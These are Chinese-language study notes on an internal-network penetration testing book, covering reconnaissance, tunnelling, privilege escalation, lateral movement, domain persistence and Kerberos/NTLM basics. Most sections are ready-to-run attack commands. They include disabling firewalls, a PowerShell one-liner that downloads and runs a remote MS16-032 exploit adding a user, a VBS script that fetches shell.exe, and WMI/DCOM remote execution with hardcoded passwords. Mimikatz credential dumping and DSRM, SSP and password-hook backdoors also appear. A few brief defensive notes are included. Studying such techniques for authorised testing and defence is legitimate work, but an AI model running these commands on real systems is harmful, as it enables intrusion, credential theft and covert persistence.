内网渗透
《内网安全攻防——渗透测试实战指南》笔记
内网信息收集
概述
信息收集目标:
- 判断当前机器角色,是普通 Web 服务器、开发测试服务器、公共服务器、文件服务器、代理服务器、DNS 服务器还是存储服务器等等
- 判断当前机器所处网络环境的拓扑结构,是对所处内网进行全面的信息收集,和分析整理,绘制大概的内网整体拓扑结构图
- 判断当前机器所处区域,是指判断当前按机器处于网络拓扑中的哪个位置,是在 DMZ 区、办公区还是核心区
收集本机信息
手动收集
本机信息包括系统、权限、内网 IP 地址段、杀毒软件、端口、服务、补丁更新频率、网络连接、共享、会话等。如果是域内主机,操作系统、应用软件、补丁、服务、杀毒软件一般是一键安装的。
相关命令:
命令 | 作用 |
---|---|
ipconfig /all |
获取本机网络配置信息 |
``systeminfo | findstr /B /C:”OS Name” /C:”OS Version”`` |
echo %PROCESSOR_ARCHITECTURE% |
查看系统架构 |
wmic product get name,version |
查看安装软件信息 |
``powershell “GET-WmiObject -class Win32_Product | Select-Object -Property name,version”`` |
wmic service list brief |
查看服务信息 |
tasklist |
查看进程信息 |
wmic process list brief |
查看进程信息 |
wmic startup get command,caption |
查看启动程序信息 |
schtasks /query /fo LIST /v |
查看计划任务 |
net statistics workstation |
查看开机时间 |
net user |
查看用户列表,可以寻找用户命名规律 |
net localgroup administrators |
查看本地管理员,有时会有域用户被添加为域机器的本地管理员 |
net session |
列出或断开本地计算机域所连接的客户端之间的会话 |
netstat -ano |
查看端口信息 |
system info |
查看补丁信息 |
wmic qfe get Caption,Description,HotFixID,InstalledOn |
查看安装在系统中的补丁 |
net share |
查看本机共享列表 |
wmic share name,path,status |
查看本机共享列表 |
route print |
查看路由表 |
arp -a |
查看MAC地址 |
netsh firewall show config |
查看防火墙配置 |
netsh firewall set opmode disable |
Windows Server 2003及以前的版本,禁用防火墙 |
netsh advfirewall set allprofiles state off |
Windows Server 2003 之后版本,禁用防火墙 |
netsh firewalll add allowedprogram c:\nc.exe "allow nc" enable |
Windows Server 2003 之前,允许 nc 全部连接 |
netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="C:\nc.exe" |
Windows Server 2003之后,允许 nc 进入 |
netsh advfirewall firewall add rule name="Allow nc" dir=in action=allow program="C:\nc.exe" |
Windows Server 2003 之后,允许 nc 出 |
netsh advfirewall firewall add rule name="Remote Desktop" protocal=TCP dir=in localport=3389 action=allow |
Windows Server 2003之后,允许3389 |
netsh advfirewall set currentprofile logging filename "C:\windows\temp\fw.log" |
自定义防火墙日志文件位置 |
reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" |
查看代理配置情况 |
reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /V PortNumber |
查看远程连接端口(十六进制) |
wmic path win32_terminalservicesetting where (__classCLASS !="") call setallowtsconnections 1 |
Windows Server 2003 开启 3389 端口 |
wmic /namespace:\\root\cimv2\terminalservices path win32_terminalsetting where (__class !="") call setallowtsconnections 1 |
Windows Server 2008 和 2012 开启3389端口 |
wmic /namespace:\\root\cimv2\terminalservices path win32_terminalgeneralsetting where (TermicalName='RDP-Tcp') call setuserauthenticationrequired 1 |
Windows Server 2008 和 2012 开启3389端口 |
reg add "HKLM\SYSTEM\CURRENT\CONTROLSET\CONTROL\TERMINAL SERVER" /v fSingleSessionPerUser /t REG_DOWRD /d 0 /f |
Windows Server 2008 和 2012 开启3389端口 |
常见杀软进程名称:
进程 | 软件 |
---|---|
360sd.exe | 360杀毒 |
360tray.exe | 360实时防护 |
ZhuDongFangYu.exe | 360主动防御 |
KSafeTray.exe | 金山卫士 |
SafeDogUpdateCenter.exe | 服务器安全狗 |
McAfee McShield.exe | McAfee |
egui.exe | NOD32 |
AVP.EXE | 卡巴斯基 |
avguard.exe | 小红伞 |
bdagent.exe | BitDefender |
自动收集
使用 WMIC(Windows Management Instrumentation Command-Line),脚本自动获取所需的信息。默认情况下,任何版本的 Windows XP 的低权限用户不能访问 WMIC,Windows 7 以上版本的低权限用户允许访问 WMIC 并执行相关查询操作,推荐脚本:wmic_info.bat
Empire 下的主机信息收集
1 | usemodule situational_awareness/host/winenum |
查询当前权限
如果内网中存在域,本地普通用户只能查询本机信息,无法查询域内信息;本地管理员和域用户可以查询域内信息。
命令 | 作用 |
---|---|
whoami |
查询当前权限 |
whoami /all |
查询域 SID |
net user username /domain |
查询指定用户的详细信息 |
判断是否存在域
获取了本机信息之后,需要判断内网中是否存在域,如果存在,当前主机是否在域内。通常有多种方法。
查看网络配置
使用 ipconfig /all
查看网关 IP 地址、DNS IP地址、域名、本机是否和 DNS 处于同一网段等信息,然后通过反向解析查询命令 nslookup example.domainname
解析域名的 IP 地址,判断域控制器和 DNS 服务器是否是同一台服务器。
查看系统详细信息
使用 systeminfo
查看系统详细信息,域 为域名,如果 域 为 WORKGROUP 则本机不在域内,登陆服务器为域控。
查询当前登陆域及登录用户信息
使用 net config workstation
,工作站域 DNS 名称为域名,登陆域表示当前登录用户是域用户或者本地用户,
判断主域
使用 net time /domain
查询时间,由于与服务器通常会同时作为时间服务器,可以用于判断主域。执行结果分为以下几种情况:
存在域,但当前用户不是域用户
1
2发生系统错误 5
拒绝访问存在域,且当前用户是域用户
1
\\DC.hacke.testlab 的当前时间是 2020/7/29 18:04:07
当前网络环境为工作组,不存在域
1
找不到域 WORKGROUP 的域控制器
探测域内存活主机
使用 NetBIOS 快速探测内网
NetBIOS 是局域网程序使用的一种 API为应用程序提供了请求低级别服务的统一指令集,为局域网提供了网络及其他特殊功能,几乎所有的局域网都是在 NetBIOS协议的基础上工作的,推荐优先使用。
使用 nbtscan 扫描内网,Windows 版,Linux版,不输入任何参数可查看帮助
1 | nbtscan.exe 192.168.1.0/24 |
扫描结果第一列为 IP 地址,第二列为所在域,第三列为开启的服务
Token | 含义 |
---|---|
SHARING | 该机器中存在正在运行的文件和打印共享服务,但不一定有内容共享 |
DC | 可能是域控制器 |
U=USER | 可能有登录名为 USER 的用户 |
IIS | 可能安装 IIS 服务器 |
EXCHANGE | 可能安装了 Exchange |
NOTES | 可能安装了 Lotus Notes 电子邮件客户端 |
? | 没有识别出该机器的 NetBIOS 资源,可使用 -F 再次扫描 |
利用 ICMP 协议快速探测内网
扫描 C 段:
1 | for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.1.%I | findstr "TTL" |
也可利用 VBS 脚本
利用 ARP 探测内网
使用 arpscan 利用 arp 协议扫描,Windows 版,Kali 可以使用 apt 安装
1 | arpscan.exe -t 192.168.1.0/24 |
也可以使用 Empire 的 arpscan
模块或者 Nishang 中的 Invoke-ARPScan.ps1
脚本
通过常规 TCP/UDP 端口扫描探测内网
使用 ScanLine 探测端口
1 | scanline -h -t 22,80-89,110,389,445,3389,1433,2049 -u 53,161 -O C:\Windows\temp\log.txt -p 192.168.1.1-254 /b |
扫描域内端口
利用 telnet 扫描
如果单纯检查某个高危端口是否开放可以选择 telnet
1 | telnet DC 1433 |
S 扫描器
S 扫描器适合运行于 Windows Server 2003 以下的机器,扫描结果默认保存在安装目录下的 result.txt 文件中,推荐使用 TCP 扫描
1 | S.exe TCP 192.168.1.1 192.168.1.254 445,3389 /Banner /save |
Metasploit
Metasploit 不仅提供了多种端口扫描技术,还提供了与其他扫描工具的接口
1 | use auxiliary/scanner/portscan/tcp |
PowerSploit 的 Invoke-portscan.ps1
Nishang 的 Invoke-PortScan 模块
Banner 信息
扫描到开放端口后,可以使用 nc 或者客户端连接端口获取 Banner 信息,用于在漏洞库中检索对应的 POC,EXP。常用漏洞库
- 安全焦点中的 BugTraq
- Exploit-DB
收集域内基础信息
确定当前内网的域,以及所控制的主机在域内,就可以进行域内相关信息的收集,以下的方法都是通过 LDAP 协议到域控制器上进行查询,因此只有域用户和本地 System 用户具有权限。
命令 | 作用 |
---|---|
net view /domain |
查询域 |
net view /domain:HACKE |
查询域内所有主机 |
net group /domain |
查询用户组列表 |
net group "domain computers" /domain |
查询域成员 |
net accounts /domain |
获取域密码策略 |
nltest /domain_trusts |
查询域信任信息 |
查找域控制器
命令 | 作用 |
---|---|
nltest /DCLIST:hacke |
查看域控制器机器名 |
nslookup -type=SRV _ldap._tcp |
查看域控制器主机名 |
net time /domain |
查看时间 |
net group "Domain Controllers" /domain |
查看域控制器组 |
netdom query pdc |
查看域控制器机器名 |
获取域内用户和管理员信息
查询域用户列表
命令 | 作用 |
---|---|
net user /domain |
查询用户列表 |
wmic useraccount get /all |
查询域内用户详细信息 |
dsquery user |
查询存在的用户 |
net localgroup administrators |
查询本地管理员组用户,Domain Admins 组的用户默认为域内机器的本笃管理员用户 |
查询域管理员用户组
命令 | 作用 |
---|---|
net group "domain admins" /domain |
查询域管理员用户 |
net group "Enterprise Admins" /domain |
查询域管理员用户 |
定位域管理员
概述
一个域中,当计算机加入域后,会默认给域管理员组赋予本地管理员权限。
定位域管理员的方式,一是日志,二是会话。日志是指本地机器的管理员日志,可以通过脚本或 Wevtutil 工具导出查看。会话是指域内每台机器的登录会话,可以使用 netsess.exe 或 PowerView 等工具查询(可以匿名,不需要权限)。
常用域管理员定位工具
假设已经取得了域内普通用户的权限,希望横向移动,需要知道域内用户登录的位置、他是否是任何系统的本地管理员、他所属的组、他是否有权访问文件共享等。枚举主机、用户和组有助于了解域内布局。
常用域管理员定位工具有 psloggedon.exe、PVEFinADUser.exe、netsess.exe、以及 hunter、NetView 等。在 PowerShell 中,常用的是 PowerView。
查找域管理进程
本机检查
1 | net group "Domain Admins" /Domain # 查看域管理员 |
查询域控制器的域用户会话
在域控制器中查找域用户会话列表,并将其于域管理员列表进行交叉引用,从而得到域管理会话的系统列表。
查询域控制器列表,可以使用 LDAP 查询从 Domain Controllers 单元中收集的域控制器列表或者使用 net group "Domain Controllers" /domain"
收集域管理员列表,可以使用 LDAP 查询或者使用 net group "Domain Admins" /domain
收集所有活动域的会话列表,可以使用 netsess.exe,NetSess -h
交叉引用域管理员列表和活动绘画列表,可以确定哪些 IP 地址有活动域令牌。将域控制器列表保存到 dcs.txt,域管理员列表保存到 admins.txt,执行
1 | FOR /F %i in (dcs.txt) do @echo [+] Querying DC %i && @netsess -h %i 2>nul >sessions.txt && FOR /F %a in (admins.txt) DO @type sessions.txt |findstr /I %a |
类似的也可以使用 Get Domain Admins 脚本。
查询远程系统中运行的任务
如果目标机器在域系统中是通过共享的本地管理员账户运行的,就可以用以下方式查询系统中的域管理员任务,将目标域系统列表添加到 ips.txt,将收集到的域管理员列表添加到 names.txt
1 | net "Domain Admins" /domain |
扫描远程系统的 NetBIOS 信息
某些版本的 Windows 允许用户通过 NetBIOS 查询已登录用户,将目标域系统添加到 ips.txt,将收集到的域管理员列表添加到 admins.txt
1 | for /F %i (ips.txt) @echo [+] Checking %i && nbtstat -A %i 2>nul > nbsessions.txt && FOR /F %n (admins.txt) @type nbsessions.txt | findstr /I %n >nul && echo [!] %n was found logged %i |
也可以使用 nbtscan 工具,
1 | for /F %i (ips.txt) @echo [+] Checking %i && nbtscan -f %i 2>nul >nbsessions.txt && FOR /F %n (admins.txt) @type nbsessions.txt | findstr /I %n >nul && echo [!] %n was found logged %i |
利用 PowerShell
-
域分析工具 BloodHound
-
敏感数据的防护
-
分析域内网段划分情况和拓扑结构
-
隐藏通信隧道技术
基础知识
概述
常见隧道:
- 网络层:IPv6,ICMP,GRE
- 传输层:TCP,UDP,端口转发
- 应用层:SSH,HTTP,HTTPS,DNS
判断内网连通性
- ICMP:
ping <ip>
- TCP:
nc <ip> <port>
- HTTP:
curl <ip>:<port>
- DNS:
nslookup <domainname> <vps-ip>
,dig @<vps-ip> <domainname>
有时流量不能直接流出,需要在内网中设置代理服务器,常用于通过企业办公网段上网的场景。判断方式:查看网络连接是否有与其他主机的8080端口(大概率)存在连接;查看内网中是否有主机名类似于 “proxy” 的机器;查看 IE 浏览器的直接代理;根据 pac 文件的路径(本地或远程),下载并查看;执行以下命令确认
1 | curl www.baidu.com # 不通 |
网络层隧道
IPv6 隧道
IPv6 隧道技术指通过 IPv4 隧道传递 IPv6 数据报文的技术。
工具:socat, 6tunnel, nt6tunnel
ICMP 隧道
工具:icmpsh, pingtunnel
传输层隧道技术
工具:lcx, nc, powercat
应用层隧道技术
SSH DNS
dnscat2
Socks 代理
earthworm
reGeorg
sSocks
SocksCap64
Proxifier
ProxyChains
压缩数据
rar.exe
将E:\webs\目录下的所有内容打包为1.rar放入E:\webs\目录下
1 | rar.exe a -k -r -s -m3 E:\webs\1.rar E:\webs\ |
将E:\webs\1.rar解压到当前根目录下
1 | rar.exe e E:\webs\1.rar |
分卷压缩、解压
分卷压缩E盘API目录下的所有文件及文件夹,设置每个分卷为20M
1 | rar.exe a -m0 -r -v20m E:\test.rar E:\API |
将E:\test.part01.rar解压到E盘的x1目录下
1 | rar.exe x E:\test.part01.rar E:\x1 |
7zip
上传和下载
FTP
VBS
download.vbs代码:
1 | Set Post=CreateObject("Msxml2.XMLHTTP") |
执行下面命令即可在目标主机上下载shell.exe文件
1 | Cscript download.vbs |
利用 Debug
利用 Nishang 上传
利用 bitsadmin 下载
权限提升分析及防御
Windows 最高权限 Trusted Installer,可以修改系统文件,高于 System
提权分为横向提权和纵向提权
系统内核溢出漏洞提权分析及防范
通过手动执行命令发现缺失补丁
1 | //查看当前权限 |
这个链接里也描述了一些方法和工具:https://www.k0rz3n.com/2019/01/27/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E5%B0%8F%E6%8A%80%E5%B7%A7%E4%B8%80%EF%BC%9A%E5%AF%BB%E6%89%BEEXP/
可以通过对比KB来判断是否存在提权漏洞。
MS16-032
可以使用Invoke-MS16-032.ps1工具:https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/MyShell/Invoke-MS16-032.ps1
1 | Invoke-MS16-032 -Application cmd.exe -Commandline "/c net user 1 1 /add" |
远程加载:
1 | powershell -nop -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString(https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/MyShell/Invoke-MS16-032.ps1);Invoke-MS16-032 -Application cmd.exe -Commandline "/c net user 1 1 /add"" |
MS16-032的补丁编号为KB3139914
利用MSF发现缺失补丁
1 | use post/windows/gather/enum_patches |
Windows Exploit Suggester
将systeminfo信息输出到txt文件中
1 | systeminfo > info.txt |
windows-exploit-suggester下载地址:https://github.com/AonCyberLabs/Windows-Exploit-Suggester
1 | ./windows-exploit-suggester.py --update |
MSF中也存在此模块
1 | use post/multi/recon/local_exploit_suggester |
Powershell中的Sherlock
下载地址:https://raw.githubusercontent.com/rasta-mouse/Sherlock/master/Sherlock.ps1
1 | . .\sherlock.ps1 |
Windows 操作系统配置错误急用分析和防范
系统服务权限配置错误
使用Powerup
1 | . .\Powerup.ps1 |
可信任服务路径漏洞
这个漏洞在书中说明了利用方式,但是并没有说明根本原理,这个漏洞是由于使用CreateProcess函数创建进程时对第二个参数中的文件路径没有使用双引号括起来,这个不再说明了,在之前整理ATT&CK的文档的时候已经弄过了很多遍。可以参考这个文档:https://www.cnblogs.com/sevck/p/8488469.html
书中说到了一个查找漏洞存在的方法:
1 | wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /c "C:\Windows\\" |findstr /i /v """ |
MSF中存在能够利用的模块(需要有session):
1 | use trusted_service_path |
自动安装配置文件
利用的是网络管理员在内网中给多台机器配置环境的配置文件中的敏感信息,如密码等。常用配置文件目录:
1 | sysprep.inf |
MSF中的利用模块:
1 | use post/windows/gather/enum_unattend |
计划任务
查看当前计划任务:
1 | schtasks /query /fo LIST /v |
这里提到了一个工具,AccessChk用于在Windows中运行一些系统或程序的高级查询,管理和故障排除工作。可以通过这个工具来查看指定目录的权限配置情况,如果当前权限有某个高权限的程序执行文件的写权限,那么就可以替换高权限文件进行权限提升。(这里说到的是使用计划任务来进行定时执行)
使用方法:
1 | //不弹框运行 |
Empire 的 Powerup 模块
组策略首选项提权分析及防范
这个说的就是查找组策略配置文件中加密过的密码,主要就是Group.xml等文件。
可以直接使用PowerSploit中的Get-GPPPassword.ps1来获取
1 | . .\Get-GPPpassword.ps1 |
然后使用gpprefdecrypt.py脚本进行解密:
1 | python gpprefdecrypt.py XXXXXXXXXXXXXXXXXXXX |
绕过 UAC 提权分析及防范
MSF 中的 Bypassuac
1 | use exploit/windows/local/bypassuac |
MSF 中的 RunAs
1 | use exploit/windows/local/ask |
运行后目标主机会弹出一个 UAC 的框,点击是之后才会回弹一个新的 session,如果弹回的不是 system 权限的 session 可以使用 getsystem 命令提升
Nishang 中的 Invoke-PsUACme 模块
1 | /使用sysprep方法并执行默认的payload |
可以使用payloadpath参数指定payload的路径。
Empire 中的 bypassuac 模块
1 | usemodule privesc/bypassuac |
令牌窃取分析及防范
1 | access token访问令牌:代表访问控制操作主体的系统对象 |
伪造令牌攻击的核心是Kerberos协议。
令牌窃取
MSF中的利用(已经有meterpreter):
1 | use incognito |
两种类型的令牌:
1 | Delegation Tokens 授权令牌:支持交互式登录(例如可以通过远程桌面登录及访问) |
在MSF中可以选择使用某一个特定的TOKEN
1 | impersonate_token |
Rotten Potato本地提权分析
利用的前提是系统中要存在有效的令牌,然后用这个工具快速模拟用户令牌,书中的环境存在SYSTEM的token,所以可以使用下面的命令进行窃取
下载地址:https://github.com/foxglovesec/RottenPotato.git
1 | upload /opt/RottenPotato/rottenpotato.exe |
添加域管理员
这里说到了使用MSF的migrate命令,借助system权限的进程进行执行命令
Empire 下的令牌窃取分析
使用Empire下的creds命令和mimikatz模块进行pth攻击
无凭证条件下的权限获取分析及防范
使用Responder进行欺骗
域内横向移动分析及防御
常用 Windows 远程连接和命令
IPC
1 | net use \\192.168.1.10\ipc$ "admin123" /user:administrator |
dir
1 | dir \\192.168.1.10\c$ |
tasklist
1 | tasklist /S 192.168.1.10 /U administrator /P admin123 |
at:是Windows server 2008之前的计划任务命令
1 | at \\192.168.1.10 4:11PM C:\shell.bat |
创建之后会有一个任务ID,指定任务ID可以删除
1 | at \\192.168.1.10 7 /delete |
schtasks
1 | schtasks /create /s 192.168.1.10 /tn test /sc onstart /tr C:\calc.bat /ru system /f |
ATT&CK Credential
WMI
基本的执行方式:
1 | wmic /node:192.168.1.10 /user:administrator /password:admin123 process call create "cmd.exe" /c ipconfig > ip.txt" |
其他工具:
impacket中的wmiexec,成功连接之后会有一个交互式的命令行
1 | wmiexec.py administrator:admin123@192.168.1.10 |
wmiexec.vbs
1 | cscript.exe //nologo wmiexec.vbs /shell 192.168.1.10 administrator admin123 |
Invoke-WMICommand
Invoke-WMICommand是PowerSpolit中的脚本:
1 | $user = "test\administrator" |
Invoke-WMIMethod是powershell自带的
1 | $user = "test\administrator" |
SMBEXEC
Impacket中有这个插件
Linux版本下载地址:https://github.com/brav0hax/smbexec.git
安装命令:
1 | git clone https://github.com/brav0hax/smbexec.git |
DCOM 在远程系统中的使用
通过本地 DCOM 执行命令
获取DCOM程序列表:
1 | Get-CimInstance Win32_DCOMApplication |
使用 DCOM 在远程机器上执行命令
1调用MMC20.Application远程执行命令
1 | net use \\192.168.1.10 "admin123" /user:test\xiaom |
2、调用9BA05972-F6A8-11CF-A442-00A0C90A8F39
1 | $com = [Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"192.168.1.10") |
SPN 在域环境中的应用
Exchange 邮件服务器安全防范
查看邮件数据库
1 | //查询之前需要安装命令 |
域控制器安全
NTDS.dit
导出 ntds.dit 中的散列值
利用 dcsync 获取散列值
使用 MSF 获取散列值
Kerberos 与用户提权漏洞分析与防范
跨域攻击分析与防御
利用域信任关系的跨域攻击分析
获取域信息
这里说到了lg.exe这个工具,能够用来枚举远程主机用户和组的信息。
1 | //枚举域中的用户组 |
防范跨域攻击
权限维持分析及防御
操作系统后门分析与防范
粘滞键后门
注册表注入后门
这个在ATT&CK中的Persistence一章中的Registry Run Keys / Startup Folder中有提到。命令如下:
1 | REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v RegRun /t REG_SZ /d "c:\windows\system32\calc.exe" |
计划任务后门
meterpreter 后门
Cymothoa 后门
下载地址:https://sourceforge.net/projects/cymothoa/
安装可参照https://blog.csdn.net/qq_17204441/article/details/88834099
1 | ./cymothoa -s 0 -p <process id> -y <port> |
安装成功后使用nc等工具连接设置的端口即可。
WMI 后门
WMI后门的特征是无文件和无进程,将代码加密存储于WMI中,达到所谓的无文件,当设定的条件被满足时,系统将自动启动Powershell进程去执行后门程序,执行后进程将会消失。
Empire下有WMI相关的模块可以使用:
1 | usemodule powershell/persistence/elevated/wmi |
可以在目标主机中使用命令查看存在的后门:
1 | Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer |
清理WMI后门的方法:删除自动运行列表中的恶意WMI条目,使用Get-WMIObject命令删除与WMI持久化相关的组件。
Web 后门
Nishang 下的 WEBShell
Weevely 后门
webacoo 后门工具
域控制器权限持久化分析与防范
DSRM 后门
使用mimikatz查看krbtgt账户密码hash值
1 | .\mimikatz.exe "privilege::debug" "lsadump::lsa /patch /name:krbtgt" exit |
查看SAM文件中本地管理员的NTLM HASH值
1 | .\mimikatz.exe "token::elevate" "lsadump::sam" exit |
将DSRM hash和kebtgt的密码同步:
1 | ntdsutil |
再次查看会发现DSRM密码和krbtgt的密码相同,然后修改DSRM的登陆方式,这个注册表键值为2表示”在任何情况下都可以使用DSRM管理员账号登陆域控制器”:
1 | New-ItemProperty "hklm:\system\currentcontrolset\control\lsa\" -name "dsrmadminlogonbehavior" -value 2 -propertyType DWORD |
使用mimikatz进行pth攻击:
1 | .\mimikatz.exe "privilege::Debug" "sekurlsa::pth /domain:DC /user:administrator /ntlm:XXXXXXXXXXX" |
DSRM后门防御措施:
1 | 检查hklm\system\currentcontrolset\control\lsa\dsrmadminlogonbehavior注册表键值的值,确认值为1 |
SSP 维持域控权限
方式一:
1 | .\mimikatz.exe "privilege::debug" "misc::memssp" exit |
注销之后执行命令查看明文密码:
1 | powershell.exe cat c:\windows\system32\mimilsa.log |
方式二:
1 | powershell.exe cp .\mimilib.dll C:\Windows\System32\ |
重启之后使用命令查看密码:
1 | powershell.exe cat c:\windows\system32\kiwissp.log |
防御措施:
1 | 查看hklm\system\currentcontrolset\control\lsa\Security Packages注册表项是否含有可疑的DLL文件 |
SID History 后门
test为恶意账户,administrator
1 | Import-module ActiveDirectory |
此时使用xiaom账号可以访问域控
Golden Ticket and Silver Ticket
Skeleton Key
Hook PasswordChangeNotify
这个方法要使用Invoke-ReflectivePEInjection.ps1将HookPasswordChange.dll注入内存,在目标系统中启动管理员权限的powershell:
1 | . .\Invoke-ReflectivePEInjection.ps1 |
此时如果再修改用户密码则修改之后的密码会记录在C:\windows\Temp\password.txt文件中。
https://github.com/clymb3r/Misc-Windows-Hacking
Nishang 下的脚本后门分析与防范
HTTP-Backdoor
Add-scrnSaveBackdoor
Execute-OnTime
Invoke-ADSBackdoor
ATT&CK 框架
InitialAccess(入口点)
Execution(命令执行)
Persistence(持久化)
PrivilegeEscalation(权限提升)
DefenseEvasion(绕过防御)
Discovery(基础信息收集)
lateral-movement(横向渗透)
C&C(命令控制)
Exfiltration(信息窃取)
基础
Keyberos
Active Directory
AD 存储关于网络对象的相关信息,是管理员和用户可以轻松的查找和使用这些信息。
网络对象有:用户、用户组、计算机、域、组织单位以及安全策略等。
Keyberos
Keyberos 是一种网络认证协议,认证过程的实现不依赖于主机操作系统的认证,无需基于主机地址的信任,不要求网络上所有主机的物理安全,并假定网络上传送的数据包可以被任意地读取、修改和插入数据。
参与角色
- 客户端
- 服务端
- KDC(DC0
KDC 的组成
- AD(Account Database):存储所有客户端的白名单,只有在白名单中的客户端才可以申请 TGT
- AS(Authentication Service):为客户端生成 TGT 的服务
- TGS(Ticket Granting Service):为客户端生成用于某个服务的 ticket 的 service
物理层面上,AD 和 KDC 都是域控。
原则
- 长期使用的密钥不应用于在网络上传输
- 只有 KDC 维护数据库(Account Database)来保存域中主机的 Master Key
Keyberos 认证流程
Keyberos 认证大致包含三个子过程:
- Client 向 KDC 申请 TGT(Ticket Granting Ticket)
- Client 通过获得的 TGT 向 KDC 申请用于访问 Server 的 Ticket
- Client 向 Server 提交 Ticket 用于认证
认证过程通过3个 Sub-protocol 完成,分别对应上面的3个子过程:
- Authentication Service Exchange
- Ticket Granting Service Exchange
- Client/Server Exchange
Authentication Service Exchange
通过这个 Sub-protocol,KDC(中的 AS)实现对 Client 身份的确认,并颁发给 Client 一个 TGT,具体过程如下:
Client 向 KDC 的 Authentication Service 发送 Authentication Service Request(KRB_AS_REQ),为了确保 KRB_AS_REQ 仅限于自己和 KDC 知道,Client 使用自己的 Master Key 对 KRB_AS_REQ 的主体部分进行加密(KDC可以通过 Domain 的Account Database 获取该 Client 的 Master Key),KRB_AS_REQ 的主体部分包含以下内容:
- Pre-autentication data:包含用以证明自己身份的信息,一般是一个被 Client 的 Master Key 加密的 Timestamp
- Client name & realm:简单来说就是 Domain_name\Client
- Server Name:这里的 Server Name 不是 Client 想要访问的 Server 的名称,而是 KDC 的 Ticket Granting Service 的 Server Name
AS 通过接收到的 KRB_AS_REQ 验证发送方是否为在 Client name & realm 中声明的那个人,即使用从 Account Database 中提取的 Client 对应的 Master Key 对 Pre-authentication data 解密,如果得到了合法的 Timestamp,即可证明发送方提供的密码正确。
验证通过后,AS 将一份 Authentication Service Response(KRB_AS_REP)发送给 Client。KRB_AS_REP 主要包含两个部分:本 Client 的 Master Key 加密过的 Session Key(SKDC-Client; Logon Session Key)和被自己(KDC)加密过的 TGT,而 TGT 包含以下内容:
- Session Key; SKDC-Client; Logon Session Key
- Client name & realm: Domain_name/Client
- End time: TGT 到期时间
Client 通过自己的 Master Key 对第一部分解密获得 Session Key 和加密的 TGT,使用 TGT 进入下一步
Ticket Granting Service Exchange
TGS Exchange 通过 Client 向 KDC 中的 TGS 发送 Ticket Granting Service Request(KRB_TGS_REQ)开始,KRB_TGS_REQ 大体包含以下内容:
- TGT:Client 通过 AS Exchange 获得 Ticket Granting Ticket,TGT 被 KDC 的 Master Key 加密
- Authenticator:用以证明 TGT 的拥有者就是自己,所以必须以 TGT 的方法方(KDC)和自己的 Session Key(SKDC-Client)来进行加密
- Client name & realm:Domain_name/Client
- Server name & realm:Domain_name/Server,这里的 Server 是 Client 试图访问的 Server
TGS 收到 KRB_TGS_REQ 后,使用自己(KDC)的 Master Key对 Client 提供的 TGT 进行解密,获得这个 Logon Session Key,再通过这个 Logon Session Key 解密 Authenticator 进行验证,通过后向对方发送 Ticket Granting Service Response(KRB_TGS_REP),由两部分组成:使用 Logon Session Key 加密的用于 Client 和 Server 通信的 Session Key (SServer-Client)和使用 Server 的 Master Key 加密的 Ticket,该 Ticket 包含以下内容:
- Session Key:SServer-Client
- Client name & realm:Domain_name/Client
- End time:Ticket 的到期时间
Client 收到 KRB_TGS_REP,使用 Logon Session Key 解密第一部分获得 Session Key(SServer-Client),Client 使用这个 Session Key 和 Ticket 与 Server 交互。
Client/Server Exchange
Client 通过 TGS Exchange 获得 Client 和 Server 的 Session Key,用 Session Key 加密 Authenticator,并将这个加密过的 Authenticator 和 Ticket 作为 Application Service Request(KRB_AP_REQ)发送给 Server,除了上述两项内容意外,KRB_AP_REQ 还包含一个 Flag 用于表示 Client 是否需要进行双向验证(Mutual Authentication)。
Server 接收到 KRB_AP_REQ 之后,通过自己的 Master Key 解密 Ticket,从而获得 Session Key,用 Session Key 解密 Authenticator,验证对方的身份。如果需要双向验证, Server 从 Authenticator 提取 Timestamp,使用 Session Key(SServer-Client)加密发送给 Client 验证 Server 的身份。
User2User Sub-Protocol
由以上三个子过程进行的验证过程仍然是不完善的,因为使用了长期的密钥(Server Master Key)在网络上传输。解决方案是采用一个 Short-term 的 Session-Key 而不是 Server Master Key 对 Ticket 进行加密,这就是 User2User Protocol。用于加密 Ticket 的是 Server 和 KDC 之间的 Session Key。
原本在 AS Exchange 阶段,Client 获得的 TGT 中的 Ticket
NTLM
NTLM Hash
通常意义上的 NTLM Hash 指存储在 SAM 数据库 以及 NTDS 数据库中对密码进行 Hash 摘要计算后的结果。这类 Hash 可以直接用于 PTH,并且通常存在于 lsass
进程中便于 SSP(NTLM 安全支持提供程序)使用
生成过程:
- 用户密码:
susi2001
- 首先,密码经过十六进制转为
7375736932303031
- 将十六进制结果转为 Unicode格式
73007500730069003200300030003100
- 以 Hex(16进制)数据作 MD4加密
ed3202726368f8e9fd23e78fbfac8c13
其中的 MD4 加密使用 HashCalc
本地认证
Windows 不存储用户的铭文密码,它会将用户的明文密码经过加密后存储在 SAM(Security Account Manager Database)中,SAM 的路径为%SystemRoot%\system32\config\sam
。
在进行本地认证时,用户登录,系统将用户输入的明文密码转换成 NTLM Hash,与 SAM 数据库中的 NTLM Hash 进行比较来实现认证。
首先,用户注销、重启、锁屏后,操作系统会让 winlogon
显示登陆界面,也就是输入框,接受输入后,将密码交给 lsass
进程,这个进程中会存有一份明文密码,将明文密码加密成 NTLM Hash,对比 SAM 数据库中的 Hash 进行验证。
NTLM
NTLM 是一种网络认证协议,是以 NTLM Hash 作呕为根本凭证进行认证的协议。基于质询/应答(Challenge/Response)消息交换模式,常用于在工作组和域环境下登陆场景的身份认证
认证方式分为交互式认证和非交互式认证。
- 交互式认证:使用域账号登录到客户端,涉及客户端和域控两部分
- 非交互式认证:在已经登陆的客户端上使用 SSO 方式访问一台服务器,涉及客户端、域控和服务器。
认证流程
NTLM 协议的认证过程有三步:
- 协商:主要用于确认双方协议版本(NTLMv1,NTLMv2 等)
- 质询:质询/应答(Challenge/Response)模式,用于信息交换
- 验证:验证身份的合法性,同窗由 Server 端或者 DC 完成这个过程
大致流程:
- 使用用户名和密码尝试登陆客户端
